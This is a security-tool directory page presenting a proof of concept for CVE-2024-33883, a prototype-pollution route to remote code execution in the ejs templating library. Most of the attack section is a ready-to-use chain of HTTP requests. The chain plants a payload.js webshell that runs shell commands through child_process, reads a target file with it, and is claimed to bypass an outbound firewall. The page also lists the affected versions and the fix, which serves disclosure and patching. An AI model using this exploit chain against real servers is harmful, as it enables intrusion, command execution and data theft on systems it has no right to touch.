Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2024-33883 — PoC of CVE-2024-33883, RCE vulnerability of ejs. | Kitploit
Tools/GitHubGitHub/grantzile/poc-cve-2024-33883
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubgrantzile/poc-cve-2024-33883

PoC-CVE-2024-33883

PoC of CVE-2024-33883, RCE vulnerability of ejs.

View Repository
522 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-33883

[email protected], Insufficient Prototype Pollution Validation Leading to RCE Exploitation

  • With prototype pollution, set opts.client to truthy value (condition)
  • Then, when render() runs, ejs will run opts.escapeFunction value as JS code.

Vulnerable Code Range

Based on [email protected]

1. ejs/lib/ejs.js - line 580, 636, 637

PoC (Inject webshell & activate)

root@kitploit:~
1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell
  • Above PoC can bypass outbound packet drop of ufw firewall.

Download Tool
  • All version under 3.1.10 is vulnerable for this type of attack.

  • This is RCE vulnerability, and do not abuse on live server.

  • Attack available condition

    1. Needs control of render().
    2. Needs control of prototype pollution attack vector.
    • Above two condition holds, RCE attack is available.

    How can I prevent this attack?

    • Fixed version([email protected]) is available now.